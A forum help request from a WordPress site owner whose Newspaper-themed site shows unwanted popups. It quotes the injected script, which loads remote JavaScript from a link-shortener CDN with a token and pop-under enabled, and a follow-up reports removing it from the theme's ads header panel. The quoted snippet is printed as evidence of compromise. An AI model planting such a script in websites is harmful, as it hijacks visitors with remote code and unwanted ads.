Newspaper Theme Hacker – Multiple Times

My sites keeps showing a popup to another site, when I investigate the code – it shows the following:

<script type="text/javascript">//<![CDATA[
(function() {
var configuration = {
"token": "8f1bc5aa7e697f9829c057cfd305bd64",
"popUnder": {
"enabled": true
}
};
var script = document.createElement('script');
script.async = true;
script.src = '//cdn.shorte.st/link-converter.min.js';
script.onload = script.onreadystatechange = function () {var rs = this.readyState; if (rs && rs != 'complete' && rs != 'loaded') return; shortestMonetization(configuration);};
var entry = document.getElementsByTagName('script')[0];
entry.parentNode.insertBefore(script, entry);
})();
//]]>

I have also noticed other people with the same issue on the Newspaper theme:
https://stackoverflow.com/questions/44038908/how-to-determine-how-someone-is-hacking-my-wordpress-site

Here is a link to my site
https://goo.gl/iHfsxQ

Can you please advise how to fix this, I have removed all wordpress files, updated theme, removed and installed all plugins again, ran wordfence and anti-malware and its still there.

I’ve fixed this issue if anyone else comes across it;

Go to your Theme Panel, click the ADS section then header section – remove the code that has been injected and save.